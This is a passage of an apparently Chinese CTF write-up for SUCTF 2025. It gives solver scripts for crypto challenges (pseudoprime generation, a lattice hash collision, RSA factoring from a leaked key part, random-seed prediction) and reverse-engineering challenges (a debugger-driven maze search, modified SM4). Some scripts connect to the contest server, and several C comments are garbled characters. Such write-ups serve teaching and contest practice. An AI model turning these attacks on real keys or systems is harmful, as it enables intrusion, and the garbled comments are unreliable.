            0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1
        , 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1
        , 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1
        , 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0
        , 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1
        , 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0
        , 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1
        , 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1]
    for i in f:
        flag += str(i)

    print(len(f))
    print(
        len([0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
                0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0,
                0]))
    x = [0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0,
            0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0,
            0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0]


    def decrypt_flag(flag_list):
        """
        根据二进制位列表解密出原始 flag 字符串。

        参数:
            flag_list: 包含二进制位的列表,每 9 位代表一个字符。

        返回:
            原始的 flag 字符串。
        """
        # 检查 flag_list 是否是 9 的倍数
        if len(flag_list) % 9 != 0:
            raise ValueError("flag_list 的长度必须是 9 的倍数")

        # 初始化解密后的字符串
        flag = ""

        # 每 9 位为一组,恢复字符
        for i in range(0, len(flag_list), 9):
            # 提取 9 位
            binary_segment = flag_list[i:i + 9]
            # 将 9 位二进制转为字符串形式的二进制
            binary_str = ''.join(map(str, binary_segment))
            # 将二进制字符串转换为 ASCII 值(整数)
            ascii_value = int(binary_str, 2)
            # 转换为字符并拼接到结果字符串
            flag += chr(ascii_value)

        return flag


    # 示例 flag_list
    flag_list = [0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1,
                    0, 0
        , 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
        , 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1
        , 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1,
                    0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1,
                    0, 1
        , 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1
        , 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1
        , 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0
        , 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1
        , 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0
        , 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1
        , 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1]

    # 调用解密函数

    flag = decrypt_flag(flag_list)
    print("解密后的 flag:", flag)

Crypto

SU_signin

参考 https://magicfrank00.github.io/writeups/writeups/alpacahack2024/a-dance-of-add-and-mul/ ,将阶数改小,利用isogeny恢复flag

# https://magicfrank00.github.io/writeups/writeups/alpacahack2024/a-dance-of-add-and-mul/
import libnum
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
K = GF(p)
E = EllipticCurve(K, (0, 4))
o = 793479390729215512516507951283169066088130679960393952059283337873017453583023682367384822284289
n1, n2 = 859267, 52437899
E.random_element()
cs = ...
flag = ''
tmp = 923437523760618658131300225986997133705973440106967859884393719150179692206291737454580267
n1, n2 = 859267, 52437899
r = o//(10177)

    
tt = '2558028070049345735599966692238165043970552021669288124924862764282615075181952619645122358179074609427643871393283'
flag = ''

for c in cs:
    c = E(c) * r
    tmp = str(E.isogeny(c))
    if tt in str(tmp):
        flag += '0'
    else:
        flag += '1'
    if len(flag)%8==0:
        m = int(flag,2)
        m = libnum.n2s(m)
        print(m)
# SUCTF{We1come__T0__SUCTF__2025}

SU_mathgame

game1,生成伪素数即可(参考crypto-attacks-pseudoprimes)

import os
import sys
from unittest import TestCase

path = os.path.dirname(os.path.dirname(os.path.realpath(os.path.abspath(__file__))))
if sys.path[1] != path:
    sys.path.insert(1, path)

from attacks.pseudoprimes import miller_rabin


class Pseudoprimes(TestCase):
    def _miller_rabin(self, n, bases):
        assert n > 3
        r = 0
        d = n - 1
        while d % 2 == 0:
            r += 1
            d //= 2

        for a in bases:
            x = pow(a, d, n)
            if x == 1 or x == n - 1:
                continue
            for _ in range(r - 1):
                x = pow(x, 2, n)
                if x == n - 1:
                    break
            else:
                return False
        return True

    def test_miller_rabin(self):
        bases = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31]
        n, p1, p2, p3 = miller_rabin.generate_pseudoprime(bases, min_bit_length=400)
        self.assertIsInstance(n, int)
        self.assertIsInstance(p1, int)
        self.assertIsInstance(p2, int)
        self.assertIsInstance(p3, int)
        self.assertGreaterEqual(n.bit_length(), 400)
        self.assertEqual(n, p1 * p2 * p3)
        self.assertTrue(self._miller_rabin(n, bases))

        bases = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61]
        n, p1, p2, p3 = miller_rabin.generate_pseudoprime(bases, min_bit_length=600)
        self.assertIsInstance(n, int)
        self.assertIsInstance(p1, int)
        self.assertIsInstance(p2, int)
        self.assertIsInstance(p3, int)
        self.assertGreaterEqual(n.bit_length(), 600)
        self.assertEqual(n, p1 * p2 * p3)
        self.assertTrue(self._miller_rabin(n, bases))

gam2, 经典问题,参考https://tover.xyz/p/cubic/

# sage
def solve(n, N=1, check=True):  # count N groups
  R.<x, y, z> = QQ[]
  f = x^3+y^3+z^3-(n-1)*x^2*(y+z)-(n-1)*y^2*(x+z)-(n-1)*z^2*(x+y)-(2*n-3)*x*y*z
  tran = EllipticCurve_from_cubic(f, None, true)
  tran_inv = tran.inverse()
  EC = tran.codomain()
  g = EC.gens()[0]
  P = g

  count = 0
  while count<3:
    Pinv = tran_inv(P)
    _x = Pinv[0].numerator()
    _y = Pinv[1].numerator()
    _z = Pinv[0].denominator()
    if _x>0 and _y>0:
      print('x = %d' % _x)
      print('y = %d' % _y)
      print('z = %d' % _z)
      if check: print('check: '+str(f([_x, _y, _z])==0))
      print('')
      count = count+1
    P = P+g

solve(4)

game3, 注意到set_random_seed(int(time.time())), 故有了种子,之后所有参数都是有的。ans直接给个C(Trans(kx))

最后,交互代码如下:

from pwn import *
import hashlib
from itertools import *
from string import *
# context.log_level = 'debug'

# import socketserver
# import signal
from Crypto.Util.number import *
from random import randint
import time
from sage.geometry.hyperbolic_space.hyperbolic_isometry import moebius_transform
# from secret import flag

def nc(data):
    if ':' in data:
        sym = ':'
    else:
        sym = ' '
    address = data.split(sym)[-2]
    port = int(data.split(sym)[-1].strip())
    print('地址:', address)
    print('端口:', port)
    sh = remote(address, port)
    return sh


# 直接粘贴题目给的靶机地址、端口
data = 'nc 1.95.46.185 10001'
sh = nc(data)

"""在下面开始编程,与服务器进行交互"""
g1 = 1039060312974897338070170130946226525072449352944784385585541004615179695645225157
sh.recvuntil(b'[+] Plz Tell Me your number: ')
sh.sendline(str(g1).encode())
x = 1440354387400113353318275132419054375891245413681864837390427511212805748408072838847944629793120889446685643108530381465382074956451566809039119353657601240377236701038904980199109550001860607309184336719930229935342817546146083848277758428344831968440238907935894338978800768226766379
y = 1054210182683112310528012408530531909717229064191793536540847847817849001214642792626066010344383473173101972948978951703027097154519698536728956323881063669558925110120619283730835864056709609662983759100063333396875182094245046315497525532634764115913236450532733839386139526489824351
z = 9391500403903773267688655787670246245493629218171544262747638036518222364768797479813561509116827252710188014736501391120827705790025300419608858224262849244058466770043809014864245428958116544162335497194996709759345801074510016208346248254582570123358164225821298549533282498545808644

g2 = f'{x},{y},{z}'.encode()
print(g2)
sh.recvuntil(b'[+] Plz give Me your a, b, c:')
sh.sendline(g2)


print(int(time.time()))

set_random_seed(int(time.time()))
C = ComplexField(999)
M = random_matrix(CC, 2, 2)
Trans = lambda z: moebius_transform(M, z)

out = []
for _ in range(3):
    x = C.random_element()
    out.append((x,Trans(x)))

kx = C.random_element()
print('kx =', kx)
C2 = ComplexField(50)

ans = C(Trans(kx))
# print(C2(ans))
# print(C2(Trans(kx)))

sh.recvuntil(b'Plz Tell Me your answer:')
sh.sendline(str(ans).encode())
sh.recvline()
sh.recvline()
sh.recvline()
sh.interactive()
# SUCTF{Hope_Y0u_have_a_NICE_tr1p_in_SUCTF~}

SU_hash

参考DownUnderCTF 2023 Writeups | 廢文集中區。其中,哈希碰撞部分利用格规约得以实现。

from Crypto.Util.number import *
from random import getrandbits
from hashlib import md5 as md5
import subprocess
from tempfile import TemporaryDirectory
import os, pickle
from tqdm import trange
from sage.all import *
from binteger import Bin
from pwn import *
import hashlib
from itertools import *
from string import *
context.log_level = 'debug'

class myhash:
        def __init__(self, n):
            self.g = 91289086035117540959154051117940771730039965839291520308840839624996039016929
            self.n = n

        def update(self, msg: bytes):
            for i in range(len(msg)):
                self.n = self.g * (2 * self.n + msg[i])
                self.n = self.n & ((1 << 383) - 1)

        def digest(self) -> bytes:
            return int((self.n - 0xd1ef3ad53f187cc5488d19045) % (1 << 128)).to_bytes(16, "big")
        
def xor(x, y):
    x = b'\x00' * (16 - len(x)) + x
    y = b'\x00' * (16 - len(y)) + y
    return long_to_bytes(bytes_to_long(bytes([a ^^ b for a, b in zip(x, y)])))

def fn(msg, n0):
    h = myhash(n0)
    ret = bytes([0] * 16)
    for b in msg:
        h.update(bytes([b]))
        d = h.digest()
        ret = xor(ret, d)
    return ret

def attack_hash(n0:int, var_len:int, Hash:bytes): # 给定n0, 字符串长度,目标Hash值,反求出消息
    xs = [var(f"x{i+1}") for i in range(var_len)]
    ms = [xs[i] + 128 for i in range(var_len)]
    g = 91289086035117540959154051117940771730039965839291520308840839624996039016929
    a = 0xd1ef3ad53f187cc5488d19045
    n = n0
    for i in range(var_len):
        n = g*(2*n + ms[i])

    coff_list= [pow(2,128)]
    tmp_equ = str(n).split(' + ')
    for i in range(var_len):
        for each in tmp_equ:
            if f'x{i+1}' in each:
                tmp = int(each.split('*')[0]) % pow(2, 128)
                coff_list.append(tmp)
                break

    coff_list.append(int(tmp_equ[-1]))

    D = bytes_to_long(Hash) # 目标哈希
    coff_list[-1] = coff_list[-1]-a-D

    M = matrix(var_len+2,var_len+2)
    for i in range(var_len+2):
        M[i, 0] = coff_list[i]
        if i>=1:
            M[i, i] = 1

    M = M.LLL()
    for line in M:
        if line[0] == 0 and line[-1]==1:
            ans = [i+128 for i in line[1:-1]]
            return bytes(ans)
    return None


# 以相同hash摘要为目标的碰撞
def fastcoll(n0, prefix=b""):  # 给定前缀下(可空),碰撞出两个有相同hash的不同消息
    if prefix:
        h = myhash(n0)
        h.update(prefix)
        n0 = h.n  # 更新n0
    i = 40
    ms = []
    tmphash = long_to_bytes(getrandbits(128))
    while len(ms) <2:
        tmp = attack_hash(n0, var_len=i, Hash=tmphash)
        if tmp:
            ms.append(tmp)
        i += 1
    return ms

def myhexdigest(n0, msg):
    h = myhash(n0)
    for b in msg:
        h.update(bytes([b]))
        d = h.digest()
    return d.hex()

def byt2bv(b, n):
    return vector(GF(2), Bin(b, n=n).list)


def bv2byt(b):
    return Bin(b).bytes

def nc(data):
    if ':' in data:
        sym = ':'
    else:
        sym = ' '
    address = data.split(sym)[-2]
    port = int(data.split(sym)[-1].strip())
    print('地址:', address)
    print('端口:', port)
    sh = remote(address, port)
    return sh


# Proof of Work
def PoW(sh):
    proof = sh.recvline_contains(b'XXXX').decode().split('sha256')[-1]  # 接收数据sha256相关数据
    Xnum = proof.split('+')[0].upper().count("X")
    tail = proof.split('+')[1].split(')')[0].strip()
    _hash = proof.split('==')[-1].strip()
    print(proof)
    sh.recvuntil(b'XXXX')  # 接收待输入指令
    if '\n' in _hash:
        _hash = _hash.split('\n')[0]
    print("未知数:", Xnum)
    print(tail)
    print(_hash)
    print('开始爆破!')
    table = ascii_letters + digits  # 爆破字符表
    for i in product(table, repeat=Xnum):
        head = ''.join(i)
        t = hashlib.sha256((head + tail).encode()).hexdigest()
        if t == _hash:
            print('爆破成功!结果是:', end='')
            print(head)
            sh.sendline(head.encode())
            return head


# 直接粘贴题目给的靶机地址、端口
data = 'nc 1.95.46.185 10007'
sh = nc(data)
"""在下面开始编程,与服务器进行交互"""
PoW(sh)
test_n0 = int(sh.recvline_contains(b'n0 = ').split(b' = ')[-1])
print('test_n0 =', test_n0)

ms = []
xs = []
prev = b""
for _ in range(129):
    print(len(prev))
    ma, mb = fastcoll(n0=test_n0, prefix=prev)
    ms.append((ma, mb))
    x = xor(fn(prev + ma, test_n0), fn(prev + mb, test_n0))
    xs.append(x)
    prev += ma

print('done')


cur = byt2bv(fn(b"".join([ma for ma, mb in ms]), test_n0), 128)
mat = matrix(GF(2), [byt2bv(x, 128) for x in xs])
print(mat.rank())
# assert mat.rank() == 128
target = byt2bv(b'justjusthashhash', 128)
# cur+?*mat=target
sol = mat.solve_left(target - cur)
print(sol)
msg = b""
for v, ma, mb in zip(sol, *zip(*ms)):
    if v == 0:
        msg += ma
    else:
        msg += mb

msg = msg.hex()
print('find msg')

# 服务器端n固定,直接提交msg即可
data = 'nc 1.95.46.185 10007'
sh = nc(data)
"""在下面开始编程,与服务器进行交互"""
PoW(sh)
sh.recvuntil(b'give me your msg ->')
sh.sendline(msg.encode())
sh.recvline()
sh.recvline()
sh.interactive() # SUCTF{5imple_st4te_Tran3fer_w1th_s1m1lar_to_md5!!!!!}

SU_rsa

根据k = (e*d_m) // n + 1计算准确的k,根据这篇论文中的3-1部分进行攻击。但问题是在计算p的高位时,一位都对不上。

于是我仅仅用了Step3这个步骤求出p % e,其值大概有256bit,然后可以用已知p低位恢复p的思路进行恢复。自己测试的时候发现在这种情况下,e如果是270bit(相当于有p的低270bit),可以用copper直接恢复,所以我用上32线程爆破14bit

7分钟即可得解

exp.py

from tqdm import trange
from Crypto.Util.number import inverse
from multiprocessing import Pool
from hashlib import sha256
import gmpy2


d_m =  54846367460362174332079522877510670032871200032162046677317492493462931044216323394426650814743565762481796045534803612751698364585822047676578654787832771646295054609274740117061370718708622855577527177104905114099420613343527343145928755498638387667064228376160623881856439218281811203793522182599504560128
n =  102371500687797342407596664857291734254917985018214775746292433509077140372871717687125679767929573899320192533126974567980143105445007878861163511159294802350697707435107548927953839625147773016776671583898492755338444338394630801056367836711191009369960379855825277626760709076218114602209903833128735441623
e =  112238903025225752449505695131644979150784442753977451850362059850426421356123

# 计算 k
k = (e*d_m) // n + 1

# 计算p mod e的值
k_inv = inverse(k,e)
s = (n + 1 + k_inv) % e
R.<x> = PolynomialRing(Zmod(e))
f = x^2 - s*x + n
res = f.roots()
may_p_mod_e = [int(res[0][0]),int(res[1][0])]

def attack(range):
    low = range[0]
    up = range[1]
    for pl in may_p_mod_e:
        R.<x> = PolynomialRing(Zmod(n))
        for i in trange(low,up):
            f = (x * 2^14 + i) * e + pl
            res = f.monic().small_roots(X=2^242,beta=0.49,epsilon=0.02)
            if res != []:
                print(f"res = {res}")
                print(f"i = {i}")
            for root in res:
                p = (int(root) * 2^14 + i) * e + pl
                if n % p == 0:
                    flag1 = "SUCTF{" + sha256(str(p).encode()).hexdigest()[:32] + "}"
                    flag2 = "SUCTF{" + sha256(str(n // p).encode()).hexdigest()[:32] + "}"
                    print(flag1)
                    print(flag2)
                    return 
                
ranges = [(i,i + 512) for i in range(0,2^14,512)]

with Pool(32) as pool:  
    r = list(pool.imap(attack,ranges))

Reverse

SU_mapmap2

分析可知输入为268字符的路径,只允许wasd这四个字符,题目给定了初始和最终状态

之后循环取字符,计算当前状态向指定方向移动后的状态, 如果合法则状态变化,如果不合法则回到初始状态

可以简化为一个状态机的DFS,平常走迷宫以坐标为一个单位,此处以状态为一个单位

由于每次失败会回到原点,所以可以使用idapython自动动调并进行DFS操作

首先在for循环计数器改变后马上下断点,此时已经计算出新的状态,便于提取

脚本如下

from idaapi import *

origin_status=get_qword(0x63F530)
final_status=get_qword(0x63F538)

# 获取相关数据的地址 
rbp=get_reg_val('rbp')
input_addr=rbp-0x40
i_addr=rbp-0x48
status_addr=rbp-0x50
path=get_qword(input_addr)# 路径数组
flag=''
isVisited=dict()# 存储状态被访问的情况,防止走回头路

def get_status():
    return get_qword(status_addr)

def set_status(status):
    patch_qword(status_addr,status)

def get_i():
    return get_qword(i_addr)
def set_i(i):
    patch_qword(i_addr,i)

def get_code(pos):
    return get_byte(path+pos)

def set_code(off,code):
    patch_byte(path+off,ord(code))

# 判断指定状态向指定方向移动后的状态
def run_is_legal(status, code):
    # 设置初始状态
    set_status(status)
    set_code(0,code)
    set_i(0) # 无限循环

    # 运行,获取新状态
    continue_process()
    wait_for_next_event(WFNE_SUSP,-1)# 等待下一个调试事件
    new_status=get_status()# 获取新的状态
    
    print(f'code:{code} new_status:{hex(new_status)}')
    return new_status

# 搜索指定状态的路径,DFS深搜
def search(status):
    global flag
    global isVisited
    print("search status:",hex(status))
    if status==final_status:
        return True
    if status in isVisited:
        return False
    else:
        isVisited[status]=True

    new_status=run_is_legal(status, 'w')
    if new_status!=origin_status and new_status!=status:
        if search(new_status):
            flag+='w'
            return True

    new_status=run_is_legal(status, 'd')
    if new_status!=origin_status and new_status!=status:
        if search(new_status):
            flag+='d'
            return True

    new_status=run_is_legal(status, 's')
    if new_status!=origin_status and new_status!=status:
        if search(new_status):
            flag+='s'
            return True

    new_status=run_is_legal(status, 'a')
    if new_status!=origin_status and new_status!=status:
        if search(new_status):
            flag+='a'
            return True
    return False

print(f'original status:{hex(origin_status)},final_status:{hex(final_status)}')
search(origin_status)
print("flag:",flag[::-1])# 递归需要倒序flag才是正确结果

拿到路径后md5嗦一下即可

ddssaassddddssddssssaassaawwwwwwaassssssssssddssssssddwwddddssssddssssddwwwwddssddwwddssddwwwwwwwwwwaawwaawwddwwaaaawwwwddwwddssddddddssaassaassddssddwwddwwwwwwwwwwwwddssssssssssddddssssssddwwwwwwddssddssaassssddssssaaaawwwwaassssaawwaassssssddddssssddssssssaassdddddd

SU_vm_master

一个虚拟机实现的SM4加密算法 其中进行了一些魔改

输入一段字符串进行Trace 主要观察与或非异或这几个逻辑运算

image-20250113133215859

不断调试 发现以下函数经过的修改

void four_uCh2uLong(u8 *in, u32 *out);             //锟斤拷锟街斤拷转锟斤拷锟斤拷u32
void uLong2four_uCh(u32 in, u8 *out);   

image-20250113133427849

找出所有魔改的地方后 可以从内存中看到对应的IV以及密钥

求解即可

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define u8 unsigned char
#define u32 unsigned long

void four_uCh2uLong(u8 *in, u32 *out);             //锟斤拷锟街斤拷转锟斤拷锟斤拷u32

void uLong2four_uCh(u32 in, u8 *out);              //u32转锟斤拷锟斤拷锟斤拷锟街斤拷

unsigned long move(u32 data, int length);          //锟斤拷锟狡o拷锟斤拷锟斤拷锟斤拷锟斤拷位锟斤拷锟斤拷尾锟斤拷

unsigned long func_key(u32 input);                 //锟斤拷使锟斤拷Sbox锟斤拷锟叫凤拷锟斤拷锟皆变化锟斤拷锟劫斤拷锟斤拷锟皆变换L锟矫伙拷为L'

unsigned long func_data(u32 input);                //锟斤拷使锟斤拷Sbox锟斤拷锟叫凤拷锟斤拷锟皆变化锟斤拷锟劫斤拷锟斤拷锟斤拷锟皆变换L

void print_hex(u8 *data, int len);                 //锟睫凤拷锟斤拷锟街凤拷锟斤拷锟斤拷转16锟斤拷锟狡达拷印

void encode_fun(u8 len,u8 *key, u8 *input, u8 *output);   //锟斤拷锟杰猴拷锟斤拷

void decode_fun(u8 len,u8 *key, u8 *input, u8 *output);   //锟斤拷锟杰猴拷锟斤拷

/******************************锟斤拷锟斤拷系统锟斤拷锟斤拷FK锟斤拷取值****************************************/
const u32 TBL_SYS_PARAMS[4] = {
    0xa3b1bac6,
    0x56aa3350,
    0x677d9197,
    0xb27022dc
};

/******************************锟斤拷锟斤拷潭锟斤拷锟斤拷锟紺K锟斤拷取值****************************************/
const u32 TBL_FIX_PARAMS[32] = {

    0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
    0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
    0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
    0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
    0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
    0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
    0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
    0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};

/******************************SBox锟斤拷锟斤拷锟叫憋拷****************************************/
const u8 TBL_SBOX[256] = {

    0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
    0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
    0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
    0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
    0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
    0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
    0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
    0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
    0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
